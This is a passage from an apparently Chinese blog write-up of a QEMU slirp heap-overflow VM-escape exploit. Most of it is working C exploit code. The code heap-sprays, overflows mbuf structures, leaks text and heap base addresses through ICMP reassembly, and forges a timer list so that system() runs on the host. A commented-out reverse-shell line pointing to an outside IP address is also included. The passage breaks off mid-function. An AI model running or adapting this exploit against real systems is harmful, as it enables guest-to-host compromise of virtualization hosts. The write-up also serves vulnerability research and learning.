memset(payload, 'A', 0x1000);

dbg_printf("in leak_text...\n");
for (i = 0; i < 0x20; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
dbg_printf("spray finished.\n"); //堆喷使堆变得稳定
// getchar();

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len); //构造可以溢出的sp_rcv
if (ret == -1) {
perror("0ops: client");
exit(1);
}

pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = IPPROTO_ICMP; //注意这里为ICMP协议数据包
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面

/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by null = =。。。。
usleep(20000); // 不知道为啥,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072); //填充无用数据,参见上一步
// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start); //修改m_data的低位至之前伪造的包头地址
// write(s, payload, 0x1000);
dbg_printf("trigger reass!");
// getchar();
memset(payload,'A',0x1000); //这一步的payload无关紧要,所以可以随意填,传的时候payloadlen传0即可
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0; //MF置为0结束ICMP请求
pkt_info.ip_p = IPPROTO_ICMP; //注意为ICMP协议数据包

recvsd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); //在ICMP请求结束前建立socket,结束后就接收不到应答包了
send_ip_pkt(&pkt_info, payload, 0); //payloadlen为0,结束ICMP请求

// we receive data here
int bytes, status;
struct ip *recv_iphdr;
struct icmp *recv_icmphdr;
uint8_t recv_ether_frame[IP_MAXPACKET];
struct sockaddr from;
socklen_t fromlen;
struct timeval wait, t1, t2;
struct timezone tz;
double dt;

(void)gettimeofday(&t1, &tz);
wait.tv_sec = 2;
wait.tv_usec = 0;
setsockopt(recvsd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait,
sizeof(struct timeval));
recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);
recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
int count = 0;
while (1) {
memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recvsd, recv_ether_frame, IP_MAXPACKET, 0,
(struct sockaddr *)&from, &fromlen)) < 0) {
status = errno;
if (status == EAGAIN) { // EAGAIN = 11
dbg_printf("No reply within %li seconds.\n", wait.tv_sec);
exit(EXIT_FAILURE);
} else if (status == EINTR) { // EINTR = 4
continue;
} else {
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.
// hexdump("recv", recv_ether_frame, 0x50);
dbg_printf("recv count %d\n", count++);
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) ==
ETH_P_IP) &&
(recv_iphdr->ip_p == IPPROTO_ICMP) &&
(recv_icmphdr->icmp_type == ICMP_ECHOREPLY)) {
// Stop timer and calculate how long it took to get a reply.
(void)gettimeofday(&t2, &tz);
dt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 +
(double)(t2.tv_usec - t1.tv_usec) / 1000.0;
// 底下这个可能会segfault
// if (inet_ntop(AF_INET, &(recv_iphdr->ip_src.s_addr), rec_ip,
// INET_ADDRSTRLEN) == NULL) {
// status = errno;
// fprintf(stderr, "inet_ntop() failed.\nError message: %s",
// strerror(status)); exit(EXIT_FAILURE);
// }
dbg_printf("%g ms (%i bytes received)\n", dt, bytes);
#ifdef DEBUG
hexdump("ping recv", recv_ether_frame, bytes);
#endif
if (bytes < 0x200)
continue;
//7e 64 cb 55 55 55
//text_base =
// ((*(uint64_t *)(recv_ether_frame + 0x88)) - 0x76247e) & ~0xfff;
//heap_base = (*(uint64_t *)(recv_ether_frame + 0x90)) & ~0xffffff;

text_base = 0;
heap_base = 0;
uint64_t* tmp_ptr = NULL;
uint64_t tmp_addr = 0;
for(int i = 0;i < 846;i += 8){
tmp_ptr = recv_ether_frame + i;
tmp_addr = *tmp_ptr;
if(text_base != 0 && heap_base != 0){
break;
}
printf("%d: %p\n",i,tmp_addr);
if(tmp_addr > 0x550000000000 && ((tmp_addr&0xfff) == 0x47e)){
text_base = tmp_addr - 0x76247e;
heap_base = (*(uint64_t*)(recv_ether_frame + i + 8)) & ~0xffffff;
}
}

if(text_base == 0){
perror("leak error....");
exit(-1);
}

//getchar();

dbg_printf("leak text_base: 0x%lx\n"
"leak heap_base: 0x%lx\n",
text_base, heap_base);
// getchar();
break;
} // End if IP ethernet frame carrying ICMP_ECHOREPLY
}

close(s);
close(recvsd);
free(payload_start);
if(stop_flag){
puts("trigger!");
getchar();
}
return;
}

PC control

关于qemu计时器方面的知识可以看我之前的文章。

bss段有个全局数组main_loop_tlg,它是QEMUTimerList的数组。我们可以在堆中伪造一个QEMUTimerList,将cb指针覆盖成想要执行的函数,opaque为参数地址。再将其地址覆盖到main_loop_tlg中,等expire_time时间到,将会执行cb(opaque),成功控制程序执行流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// util/qemu-timer.c
struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;

/* lightweight method to mark the end of timerlist's running */
QemuEvent timers_done_ev;
};

// include/qemu/timer.h
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb; // 函数指针
void *opaque; // 参数
QEMUTimer *next;
int attributes;
int scale;
};

exp中对应的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// fake timer_list
/* gdb-peda$ p *timer_list
$45 = {
clock = 0x55a8d1473380 <qemu_clocks>,
active_timers_lock = {
lock = pthread_mutex_t = {
Type = Normal,
Status = Not acquired,
Robust = No,
Shared = No,
Protocol = None
},
file = 0x0,
line = 0x0,
initialized = 0x1
},
active_timers = 0x55a8d3641df0,
list = {
le_next = 0x0,
le_prev = 0x55a8d2594cb8
},
notify_cb = 0x55a8d076c793 <qemu_timer_notify_cb>,
notify_opaque = 0x0,
timers_done_ev = {
value = 0x0,
initialized = 0x1
}
} */
uint64_t fake_timer_list = heap_base + 0x1000;
*(uint64_t *)buf = text_base + 0x11f8e80; // qemu_clocks 0x11f8e80
memset(buf + 8, 0, 8 * 6);
*(uint64_t *)(buf + 0x38) = 0x0000000100000000;
*(uint64_t *)(buf + 0x40) = fake_timer_list + 0x70; // active_timers
*(uint64_t *)(buf + 0x48) = 0;
*(uint64_t *)(buf + 0x50) = 0;
*(uint64_t *)(buf + 0x58) = text_base + 0x2f2ee0; // qemu_timer_notify_cb 0x2f2ee0
*(uint64_t *)(buf + 0x60) = 0;
*(uint64_t *)(buf + 0x68) = 0x0000000100000000;
// end of timer_list
// start of active_timers
/* gdb-peda$ p *timer_list->active_timers
$49 = {
expire_time = 0x22823f5aad00,
timer_list = 0x55a8d2594840,
cb = 0x55a8d0b66a82 <gui_update>,
opaque = 0x55a8d3ae6e50,
next = 0x55a8d3ae6e80,
attributes = 0x0,
scale = 0xf4240
} */
*(uint64_t *)(buf + 0x70) = 0; // expire_time set to 0 will trigger func cb
*(uint64_t *)(buf + 0x78) = fake_timer_list;
*(uint64_t *)(buf + 0x80) = text_base + 0x2a3720; // system plt
*(uint64_t *)(buf + 0x88) = heap_base + 0xe42; // parameter address
*(uint64_t *)(buf + 0x90) = 0;
*(uint64_t *)(buf + 0x98) = 0x000f424000000000;
g_spray_ip_id = 0xccbb;
arbitrary_write(fake_timer_list-0x318,8,buf,0xa0,0x20);

// dbg_printf("check heap here");
// qemu timer
// 改掉全局的main_loop_tlg
*(uint64_t *)buf = fake_timer_list; // qemu_clocks
g_spray_ip_id = 0xddbb;
arbitrary_write(text_base+0x11f8e60-0x318,8,buf,8,0x20);
return 0;

最终exp.c

这个利用我从学习基础知识到最终调出来断断续续持续了大概小一周了。。期间数次想过放弃,但是最后还是气不过,不过比较幸运最后终于成功了:

image-20200819231943086

主要有以下几个问题:

  1. malloc原语喷的次数,这是第一步,也是最重要的一步,这里卡了挺久的,开始的时候我直接拿0xKira的原exp去调,然后发现喷完0x250次之后线程堆依然很混乱,然后就把喷射次数直接改成了0x500,然后发现依然很混乱,改成0x1000之后发现比之前还要混乱,然后就很迷,后来看到raycp师傅的exp,发现他的喷射次数是0x300,而他是18.04的环境,所以我猜测这个数值可能和环境有关,我是在16.04上调的,原作者大概率不是16.04这么老的版本,所以我就从0x200一直加0x50次往后试探,多次尝试后发现我本机在0x350~0x400之间喷射成功的概率大一点,再多或者少的话就没成功过了,太少应该是因为碎片还没喷完,太多是因为原有堆空间不够,程序又申请了新的堆出来,又有大量新的碎片产生,而且发现一个规律:启动虚拟机后直接跑的成功概率较小,启动虚拟机之后先清空原有exp,然后重新把写好的exp复制粘贴过去然后再保存,再用gcc编译,再ifconfig enp0s3 mtu 9000 up,再跑exp,成功的概率会大很多。。。感觉是跑exp之前的操作对线程的堆起到了进一步稳定的作用。。。具体我也就不知道了orz。
  2. Infoleak时的数据非常没有规律,非常非常看脸,其实这一步的成功率就是由上一步的堆喷导致的,只有上一步的喷射使堆变的稳定了,expchunk构造才会对的上号,才会成功leak出数据,然而leak出的数据绝大情况都是没有规律的,数据中的确是有heap_basetext_base的,但是这些数据并不是一个固定的变量和数值什么的,每次几乎都不一样,但是运气好是会有一样的,概率很低,我就找了一个我见到泄露出两次的一个text里的变量,其+8的位置是heap的变量,但概率真的感人。(其实我是前一天晚上看到这个变量被泄露出两次,然后第二天早上起来试了一上午这个变量都没有再出现过,后来再出现的那一次就是我成功的那一次了。),失败的时候qemu经常会直接卡死,强制关闭进程再跑就行,比较麻烦。
  3. 最后劫持控制流时的指针需要根据自己编译的qemu-system-x86_64修改,有system@pltqemu_clocksqemu_timer_notify_cb以及最后一次arbirary_write时写的目标地址为main_loop_tlg(其地址为qemu_clocks-0x20),而且成功与否也需要一点运气,但如果泄露成功的话,这里成功的概率会很大。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h> // close()
#include <assert.h>
#include <string.h> // strcpy, memset(), and memcpy()

#include <netdb.h> // struct addrinfo
#include <sys/types.h> // needed for socket(), uint8_t, uint16_t, uint32_t
#include <sys/socket.h> // needed for socket()
#include <netinet/in.h> // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN
#include <netinet/ip.h> // struct ip and IP_MAXPACKET (which is 65535)
#include <netinet/ip_icmp.h> // struct icmp, ICMP_ECHO
#define __FAVOR_BSD // Use BSD format of tcp header
#include <netinet/tcp.h> // struct tcphdr
#include <arpa/inet.h> // inet_pton() and inet_ntop()
#include <sys/ioctl.h> // macro ioctl is defined
#include <bits/ioctls.h> // defines values for argument "request" of ioctl.
#include <net/if.h> // struct ifreq
#include <linux/if_ether.h> // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD
#include <linux/if_packet.h> // struct sockaddr_ll (see man 7 packet)
#include <net/ethernet.h>
#include <sys/time.h> // gettimeofday()

#include <errno.h> // errno, perror()

// Define some constants.
#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define TCP_HDRLEN 20 // TCP header length, excludes options data
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data

#define DEBUG

#ifdef DEBUG
#define dbg_printf(fmt, ...) \
do { \
fprintf(stderr, "%s:%d(): " fmt, __func__, __LINE__, ##__VA_ARGS__); \
} while (0)
#else
#define dbg_printf(fmt, ...) \
do { \
} while (0)
#endif

//char g_interface[] = "ens2";
char g_interface[] = "enp0s3";
char host[] = "10.0.2.2";
typedef void *Slirp;
struct socket {};
struct mbuf {
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */
int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;
caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */
Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};

// some header info to pass to the send_ip_pkt
struct ip_pkt_info {
uint16_t ip_id;
uint16_t ip_off;
bool MF;
uint8_t ip_p;
};

// Function prototypes
uint16_t checksum(uint16_t *, int);
uint16_t icmp4_checksum(struct icmp, uint8_t *, int);
uint16_t tcp4_checksum(struct ip, struct tcphdr, uint8_t *, int);
char *allocate_strmem(int);
uint8_t *allocate_ustrmem(int);
int *allocate_intmem(int);
void spray(int, uint16_t);
void send_ip_pkt(struct ip_pkt_info *, uint8_t *, int);
void leak(uint64_t, int);
int send_raw_pkt();
int arbitrary_write(uint64_t, int, uint8_t *, int, int);
void hexdump(const char *, void *, int);

uint64_t text_base, heap_base;
uint16_t g_spray_ip_id;
int stop_flag;

int main() {
const char eth_frame[] =
"\x52\x56\x00\x00\x00\x02\x52\x54\x00\x12\x34\x56\x08\x00";
struct icmp *icmphdr;
struct ip *iphdr;
uint8_t buf[IP_MAXPACKET];
char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];
int status;

puts("game start");
memcpy(buf, eth_frame, ETH_HDRLEN);
iphdr = (struct ip *)(buf + ETH_HDRLEN);
strcpy(src_ip, "10.0.2.15");
strcpy(dst_ip, "10.0.2.2");
iphdr->ip_hl = IP4_HDRLEN / sizeof(uint32_t);
iphdr->ip_v = 4;
iphdr->ip_tos = 0;
// 这不需要htons,因为在ip_input里会转换一遍
iphdr->ip_len = (ICMP_HDRLEN);
iphdr->ip_id = (0xcdcd);
// Zero (1 bit)
// Do not fragment flag (1 bit)
// More fragments following flag (1 bit)
// Fragmentation offset (13 bits)
iphdr->ip_off = ((0 << 15) + (0 << 14) + (0 << 13) + (0 >> 3));
iphdr->ip_ttl = 255;
iphdr->ip_p = IPPROTO_ICMP;
if ((status = inet_pton(AF_INET, src_ip, &(iphdr->ip_src))) != 1 ||
(status = inet_pton(AF_INET, dst_ip, &(iphdr->ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}
iphdr->ip_sum = 0;
iphdr->ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

icmphdr = (struct icmp *)(buf + ETH_HDRLEN + IP4_HDRLEN);
icmphdr->icmp_type = ICMP_ECHO;
// Message Code (8 bits): echo request
icmphdr->icmp_code = 0;
// Identifier (16 bits): usually pid of sending process - pick a number
icmphdr->icmp_id = htons(1000);
// Sequence Number (16 bits): starts at 0
icmphdr->icmp_seq = htons(0);
// ICMP header checksum (16 bits): set to 0 when calculating checksum
// TBD
// icmphdr->icmp_cksum = icmp4_checksum(icmphdr, data, datalen);
icmphdr->icmp_cksum = icmp4_checksum(*icmphdr, buf, 0);
const char exec_cmd[] = "gnome-calculator";
// "/bin/bash -c 'bash -i >& /dev/tcp/172.16.217.1/8888 0>&1'";
// const char exec_cmd[] = "DISPLAY=:0 /usr/bin/snap run gnome-calculator";
memcpy(buf+ETH_HDRLEN+IP4_HDRLEN+ICMP_HDRLEN,exec_cmd,strlen(exec_cmd)+1);
g_spray_ip_id = 0xaabb;
stop_flag = 1;
arbitrary_write(0x0b00,3,buf,ETH_HDRLEN+IP4_HDRLEN+ICMP_HDRLEN+strlen(exec_cmd)+1,0x400);
g_spray_ip_id = 0xbbaa;
leak(0x0b00+0x318+0x14+ETH_HDRLEN,3); //reass处理完后会把m_data减掉ip头的长度
dbg_printf("after leak");

// fake timer_list
/* gdb-peda$ p *timer_list
$45 = {
clock = 0x55a8d1473380 <qemu_clocks>,
active_timers_lock = {
lock = pthread_mutex_t = {
Type = Normal,
Status = Not acquired,
Robust = No,
Shared = No,
Protocol = None
},
file = 0x0,
line = 0x0,
initialized = 0x1
},
active_timers = 0x55a8d3641df0,
list = {
le_next = 0x0,
le_prev = 0x55a8d2594cb8
},
notify_cb = 0x55a8d076c793 <qemu_timer_notify_cb>,
notify_opaque = 0x0,
timers_done_ev = {
value = 0x0,
initialized = 0x1
}
} */
uint64_t fake_timer_list = heap_base + 0x1000;
*(uint64_t *)buf = text_base + 0x11f8e80; // qemu_clocks 0x11f8e80
memset(buf + 8, 0, 8 * 6);
*(uint64_t *)(buf + 0x38) = 0x0000000100000000;
*(uint64_t *)(buf + 0x40) = fake_timer_list + 0x70; // active_timers
*(uint64_t *)(buf + 0x48) = 0;
*(uint64_t *)(buf + 0x50) = 0;
*(uint64_t *)(buf + 0x58) = text_base + 0x2f2ee0; // qemu_timer_notify_cb 0x2f2ee0
*(uint64_t *)(buf + 0x60) = 0;
*(uint64_t *)(buf + 0x68) = 0x0000000100000000;
// end of timer_list
// start of active_timers
/* gdb-peda$ p *timer_list->active_timers
$49 = {
expire_time = 0x22823f5aad00,
timer_list = 0x55a8d2594840,
cb = 0x55a8d0b66a82 <gui_update>,
opaque = 0x55a8d3ae6e50,
next = 0x55a8d3ae6e80,
attributes = 0x0,
scale = 0xf4240
} */
*(uint64_t *)(buf + 0x70) = 0; // expire_time set to 0 will trigger func cb
*(uint64_t *)(buf + 0x78) = fake_timer_list;
*(uint64_t *)(buf + 0x80) = text_base + 0x2a3720; // system plt
*(uint64_t *)(buf + 0x88) = heap_base + 0xe42; // parameter address
*(uint64_t *)(buf + 0x90) = 0;
*(uint64_t *)(buf + 0x98) = 0x000f424000000000;
g_spray_ip_id = 0xccbb;
arbitrary_write(fake_timer_list-0x318,8,buf,0xa0,0x20);

// dbg_printf("check heap here");
// qemu timer
// 改掉全局的main_loop_tlg
*(uint64_t *)buf = fake_timer_list; // qemu_clocks
g_spray_ip_id = 0xddbb;
arbitrary_write(text_base+0x11f8e60-0x318,8,buf,8,0x20);
return 0;
}

void leak(uint64_t addr, int addr_len) {
int s, len, i, recvsd;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

memset(payload, 'A', 0x1000);

dbg_printf("in leak_text...\n");
for (i = 0; i < 0x20; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
dbg_printf("spray finished.\n");
// getchar();

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("0ops: client");
exit(1);
}

pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = IPPROTO_ICMP;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面

/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by
// null = =。。。。
usleep(20000); // 不知道为啥,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072);
// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start);
// write(s, payload, 0x1000);
dbg_printf("trigger reass!");
// getchar();
memset(payload, 'A', 0x1000);
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0;
pkt_info.ip_p = IPPROTO_ICMP;

recvsd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
send_ip_pkt(&pkt_info, payload, 0);

// we receive data here
int bytes, status;
struct ip *recv_iphdr;
struct icmp *recv_icmphdr;
uint8_t recv_ether_frame[IP_MAXPACKET];
struct sockaddr from;
socklen_t fromlen;
struct timeval wait, t1, t2;
struct timezone tz;
double dt;

(void)gettimeofday(&t1, &tz);
wait.tv_sec = 2;
wait.tv_usec = 0;
setsockopt(recvsd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait,
sizeof(struct timeval));
recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);
recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
int count = 0;
while (1) {
memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recvsd, recv_ether_frame, IP_MAXPACKET, 0,
(struct sockaddr *)&from, &fromlen)) < 0) {
status = errno;
if (status == EAGAIN) { // EAGAIN = 11
dbg_printf("No reply within %li seconds.\n", wait.tv_sec);
exit(EXIT_FAILURE);
} else if (status == EINTR) { // EINTR = 4
continue;
} else {
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.
// hexdump("recv", recv_ether_frame, 0x50);
dbg_printf("recv count %d\n", count++);
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) ==
ETH_P_IP) &&
(recv_iphdr->ip_p == IPPROTO_ICMP) &&
(recv_icmphdr->icmp_type == ICMP_ECHOREPLY)) {
// Stop timer and calculate how long it took to get a reply.
(void)gettimeofday(&t2, &tz);
dt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 +
(double)(t2.tv_usec - t1.tv_usec) / 1000.0;
// 底下这个可能会segfault
// if (inet_ntop(AF_INET, &(recv_iphdr->ip_src.s_addr), rec_ip,
// INET_ADDRSTRLEN) == NULL) {
// status = errno;
// fprintf(stderr, "inet_ntop() failed.\nError message: %s",
// strerror(status)); exit(EXIT_FAILURE);
// }
dbg_printf("%g ms (%i bytes received)\n", dt, bytes);
#ifdef DEBUG
hexdump("ping recv", recv_ether_frame, bytes);
#endif
if (bytes < 0x200)
continue;
//7e 64 cb 55 55 55
//text_base =
// ((*(uint64_t *)(recv_ether_frame + 0x88)) - 0x76247e) & ~0xfff;
//heap_base = (*(uint64_t *)(recv_ether_frame + 0x90)) & ~0xffffff;

text_base = 0;
heap_base = 0;
uint64_t* tmp_ptr = NULL;
uint64_t tmp_addr = 0;
for(int i = 0;i < 846;i += 8){
tmp_ptr = recv_ether_frame + i;
tmp_addr = *tmp_ptr;
if(text_base != 0 && heap_base != 0){
break;
}
printf("%d: %p\n",i,tmp_addr);
if(tmp_addr > 0x550000000000 && ((tmp_addr&0xfff) == 0x47e)){
text_base = tmp_addr - 0x76247e;
heap_base = (*(uint64_t*)(recv_ether_frame + i + 8)) & ~0xffffff;
}
}

if(text_base == 0){
perror("leak error....");
exit(-1);
}

//getchar();

dbg_printf("leak text_base: 0x%lx\n"
"leak heap_base: 0x%lx\n",
text_base, heap_base);
// getchar();
break;
} // End if IP ethernet frame carrying ICMP_ECHOREPLY
}

close(s);
close(recvsd);
free(payload_start);
if(stop_flag){
puts("trigger!");
getchar();
}
return;
}

int arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data,
int write_data_len, int spray_times) {
int s, len, i;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

